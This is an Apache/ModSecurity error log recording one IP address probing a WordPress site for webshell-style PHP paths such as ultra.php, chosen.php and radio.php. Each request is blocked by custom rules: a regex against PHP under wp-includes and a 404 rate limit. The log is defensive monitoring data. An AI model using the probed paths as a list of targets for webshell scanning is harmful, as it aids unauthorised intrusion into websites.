[Tue Nov 25 20:57:55.651720 2025] [:error] [pid 14078:tid 14152] [client 4.206.153.235:59511] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/"] [unique_id "aSWn09VXYbb0ii_rVoJk9gAAAI8"]
[Tue Nov 25 20:57:57.329781 2025] [:error] [pid 14078:tid 14153] [client 4.206.153.235:59449] File does not exist: /usr/local/apache/htdocs/suspended-page/aa.php
[Tue Nov 25 20:57:57.964283 2025] [:error] [pid 14078:tid 14138] [client 4.206.153.235:59449] File does not exist: /usr/local/apache/htdocs/suspended-page/file5.php
[Tue Nov 25 20:57:58.381334 2025] [:error] [pid 14078:tid 14137] [client 4.206.153.235:59449] [client 4.206.153.235] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/chosen.php"] [unique_id "aSWn1tVXYbb0ii_rVoJlCAAAAIA"]
[Tue Nov 25 20:57:58.794157 2025] [:error] [pid 14077:tid 14110] [client 4.206.153.235:63595] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin/controller/extension/extension/ultra.php"] [unique_id "aSWn1hG9n7UHEkwDTyi8wQAAAEA"]
[Tue Nov 25 20:57:59.222418 2025] [:error] [pid 43843:tid 43845] [client 4.206.153.235:56266] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin/controller/extension/extension/ultra.php"] [unique_id "aSWn1xhx4v3NUNdMKDPpDQAAAcA"]
[Tue Nov 25 20:57:59.641264 2025] [:error] [pid 28609:tid 28631] [client 4.206.153.235:59481] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin/controller/extension/extension/ultra.php"] [unique_id "aSWn1yGGdT-nZJVs3x3cWwAAAY0"]
[Tue Nov 25 20:58:00.055477 2025] [:error] [pid 2987:tid 3011] [client 4.206.153.235:59411] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin/controller/extension/extension/ultra.php"] [unique_id "aSWn2M-djEt-pTzPxny86AAAAVY"]
[Tue Nov 25 20:58:00.549399 2025] [:error] [pid 14076:tid 14094] [client 4.206.153.235:63577] [client 4.206.153.235] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aSWn2HsB4Gz6Qw-pvBswEwAAAA0"]
[Tue Nov 25 20:58:01.052546 2025] [:error] [pid 28609:tid 28636] [client 4.206.153.235:59446] [client 4.206.153.235] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/wp-login.php"] [unique_id "aSWn2SGGdT-nZJVs3x3cXQAAAZI"]
[Tue Nov 25 20:58:01.477075 2025] [:error] [pid 28739:tid 28768] [client 4.206.153.235:63546] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/images/index.php"] [unique_id "aSWn2RxGpKmlkG4FexSVYwAAAgY"]
[Tue Nov 25 20:58:01.888976 2025] [:error] [pid 28609:tid 28627] [client 4.206.153.235:59508] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/images/index.php"] [unique_id "aSWn2SGGdT-nZJVs3x3cXgAAAYk"]
[Tue Nov 25 20:58:02.301160 2025] [:error] [pid 28739:tid 28767] [client 4.206.153.235:63574] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/images/index.php"] [unique_id "aSWn2hxGpKmlkG4FexSVZQAAAgU"]
[Tue Nov 25 20:58:02.713658 2025] [:error] [pid 28739:tid 28765] [client 4.206.153.235:63600] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/images/index.php"] [unique_id "aSWn2hxGpKmlkG4FexSVaAAAAgM"]
[Tue Nov 25 20:58:03.132109 2025] [:error] [pid 28739:tid 28777] [client 4.206.153.235:56272] [client 4.206.153.235] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aSWn2xxGpKmlkG4FexSVawAAAg8"]
[Tue Nov 25 20:58:03.545748 2025] [:error] [pid 28836:tid 29008] [client 4.206.153.235:63515] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sitemaps/providers/"] [unique_id "aSWn25wNRsoxcLQGkTfa2wAAAtI"]
[Tue Nov 25 20:58:03.976127 2025] [:error] [pid 28739:tid 28766] [client 4.206.153.235:59430] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sitemaps/providers/"] [unique_id "aSWn2xxGpKmlkG4FexSVbQAAAgQ"]
[Tue Nov 25 20:58:04.388782 2025] [:error] [pid 28739:tid 28780] [client 4.206.153.235:63612] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sitemaps/providers/"] [unique_id "aSWn3BxGpKmlkG4FexSVbwAAAhI"]
[Tue Nov 25 20:58:04.805611 2025] [:error] [pid 14078:tid 14156] [client 4.206.153.235:59456] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/install.php"] [unique_id "aSWn3NVXYbb0ii_rVoJlKAAAAJM"]
[Tue Nov 25 20:58:05.223055 2025] [:error] [pid 28739:tid 28781] [client 4.206.153.235:59415] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/install.php"] [unique_id "aSWn3RxGpKmlkG4FexSVcwAAAhM"]
[Tue Nov 25 20:58:05.638148 2025] [:error] [pid 14076:tid 14090] [client 4.206.153.235:63544] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/install.php"] [unique_id "aSWn3XsB4Gz6Qw-pvBswFwAAAAk"]
[Tue Nov 25 20:58:06.050819 2025] [:error] [pid 43843:tid 43862] [client 4.206.153.235:63519] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/install.php"] [unique_id "aSWn3hhx4v3NUNdMKDPpHgAAAdE"]
[Tue Nov 25 20:58:06.488243 2025] [:error] [pid 28836:tid 28963] [client 4.206.153.235:59458] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/"] [unique_id "aSWn3pwNRsoxcLQGkTfa3gAAAsg"]
[Tue Nov 25 20:58:06.900022 2025] [:error] [pid 43843:tid 43846] [client 4.206.153.235:59401] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/"] [unique_id "aSWn3hhx4v3NUNdMKDPpIgAAAcE"]
[Tue Nov 25 20:58:07.315241 2025] [:error] [pid 28836:tid 28959] [client 4.206.153.235:59490] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/"] [unique_id "aSWn35wNRsoxcLQGkTfa4AAAAsQ"]
[Tue Nov 25 20:58:07.745327 2025] [:error] [pid 28739:tid 28770] [client 4.206.153.235:63614] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/"] [unique_id "aSWn3xxGpKmlkG4FexSVdgAAAgg"]
[Tue Nov 25 20:58:08.163156 2025] [:error] [pid 14076:tid 14100] [client 4.206.153.235:59443] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/blue/about.php"] [unique_id "aSWn4HsB4Gz6Qw-pvBswHAAAABM"]
[Tue Nov 25 20:58:08.585889 2025] [:error] [pid 28836:tid 28968] [client 4.206.153.235:56267] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/blue/about.php"] [unique_id "aSWn4JwNRsoxcLQGkTfa4gAAAs0"]
[Tue Nov 25 20:58:09.002350 2025] [:error] [pid 14078:tid 14142] [client 4.206.153.235:59513] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/blue/about.php"] [unique_id "aSWn4dVXYbb0ii_rVoJlYAAAAIU"]
[Tue Nov 25 20:58:09.438118 2025] [:error] [pid 28739:tid 28775] [client 4.206.153.235:59442] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/blue/about.php"] [unique_id "aSWn4RxGpKmlkG4FexSVeAAAAg0"]
[Tue Nov 25 20:58:09.852246 2025] [:error] [pid 28836:tid 28961] [client 4.206.153.235:63591] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/plugins/"] [unique_id "aSWn4ZwNRsoxcLQGkTfa5AAAAsY"]
[Tue Nov 25 20:58:10.266731 2025] [:error] [pid 14076:tid 14103] [client 4.206.153.235:63495] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/plugins/"] [unique_id "aSWn4nsB4Gz6Qw-pvBswHgAAABY"]
[Tue Nov 25 20:58:10.677447 2025] [:error] [pid 28739:tid 28778] [client 4.206.153.235:59473] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/plugins/"] [unique_id "aSWn4hxGpKmlkG4FexSVgAAAAhA"]
[Tue Nov 25 20:58:11.093914 2025] [:error] [pid 28836:tid 29010] [client 4.206.153.235:59416] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/plugins/"] [unique_id "aSWn45wNRsoxcLQGkTfa5gAAAtQ"]
[Tue Nov 25 20:58:11.507596 2025] [:error] [pid 28836:tid 29009] [client 4.206.153.235:63497] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/radio.php"] [unique_id "aSWn45wNRsoxcLQGkTfa5wAAAtM"]
[Tue Nov 25 20:58:11.948624 2025] [:error] [pid 28739:tid 28779] [client 4.206.153.235:63563] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/radio.php"] [unique_id "aSWn4xxGpKmlkG4FexSViQAAAhE"]
[Tue Nov 25 20:58:12.367135 2025] [:error] [pid 2987:tid 3006] [client 4.206.153.235:59517] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/radio.php"] [unique_id "aSWn5M-djEt-pTzPxny89QAAAVE"]
[Tue Nov 25 20:58:12.827518 2025] [:error] [pid 14076:tid 14085] [client 4.206.153.235:63581] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/radio.php"] [unique_id "aSWn5HsB4Gz6Qw-pvBswIAAAAAQ"]
[Tue Nov 25 20:58:13.238966 2025] [:error] [pid 14077:tid 14123] [client 4.206.153.235:56279] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/"] [unique_id "aSWn5RG9n7UHEkwDTyi8ywAAAE0"]
[Tue Nov 25 20:58:13.684011 2025] [:error] [pid 28739:tid 28777] [client 4.206.153.235:56269] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/"] [unique_id "aSWn5RxGpKmlkG4FexSVjQAAAg8"]
[Tue Nov 25 20:58:14.129269 2025] [:error] [pid 43981:tid 43995] [client 4.206.153.235:59447] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/"] [unique_id "aSWn5ggZn97m_qh_RaFZKgAAAww"]
[Tue Nov 25 20:58:14.591267 2025] [:error] [pid 14076:tid 14088] [client 4.206.153.235:63506] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/"] [unique_id "aSWn5nsB4Gz6Qw-pvBswIwAAAAc"]
[Tue Nov 25 20:58:15.087907 2025] [:error] [pid 2987:tid 3008] [client 4.206.153.235:63504] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/"] [unique_id "aSWn58-djEt-pTzPxny89gAAAVM"]
[Tue Nov 25 20:58:15.585395 2025] [:error] [pid 28609:tid 28636] [client 4.206.153.235:59404] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/"] [unique_id "aSWn5yGGdT-nZJVs3x3cqQAAAZI"]
[Tue Nov 25 20:58:16.070281 2025] [:error] [pid 14077:tid 14113] [client 4.206.153.235:59507] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/"] [unique_id "aSWn6BG9n7UHEkwDTyi8zwAAAEM"]
[Tue Nov 25 20:58:16.640303 2025] [:error] [pid 14168:tid 14179] [client 4.206.153.235:59497] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/"] [unique_id "aSWn6PR-ZDU0QEgAIIt_mwAAAMg"]
[Tue Nov 25 20:58:17.191659 2025] [:error] [pid 2987:tid 3001] [client 4.206.153.235:59434] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/coffee/"] [unique_id "aSWn6c-djEt-pTzPxny8-wAAAUw"]
[Tue Nov 25 20:58:17.683281 2025] [:error] [pid 14168:tid 14174] [client 4.206.153.235:63576] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/coffee/"] [unique_id "aSWn6fR-ZDU0QEgAIIt_nQAAAMM"]
[Tue Nov 25 20:58:18.173142 2025] [:error] [pid 14078:tid 14149] [client 4.206.153.235:63496] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/coffee/"] [unique_id "aSWn6tVXYbb0ii_rVoJlegAAAIw"]
[Tue Nov 25 20:58:18.706476 2025] [:error] [pid 14078:tid 14161] [client 4.206.153.235:59468] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/coffee/"] [unique_id "aSWn6tVXYbb0ii_rVoJlewAAAJg"]
[Tue Nov 25 20:58:19.127086 2025] [:error] [pid 14077:tid 14116] [client 4.206.153.235:59495] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/"] [unique_id "aSWn6xG9n7UHEkwDTyi80gAAAEY"]
[Tue Nov 25 20:58:19.593722 2025] [:error] [pid 2987:tid 2990] [client 4.206.153.235:59506] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/"] [unique_id "aSWn68-djEt-pTzPxny8_AAAAUE"]
[Tue Nov 25 20:58:20.142822 2025] [:error] [pid 28739:tid 28785] [client 4.206.153.235:59429] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/"] [unique_id "aSWn7BxGpKmlkG4FexSVmQAAAhc"]
[Tue Nov 25 20:58:20.665929 2025] [:error] [pid 14078:tid 14161] [client 4.206.153.235:63508] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/"] [unique_id "aSWn7NVXYbb0ii_rVoJligAAAJg"]
[Tue Nov 25 20:58:21.518629 2025] [:error] [pid 28739:tid 28782] [client 4.206.153.235:59421] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/"] [unique_id "aSWn7RxGpKmlkG4FexSVmwAAAhQ"]
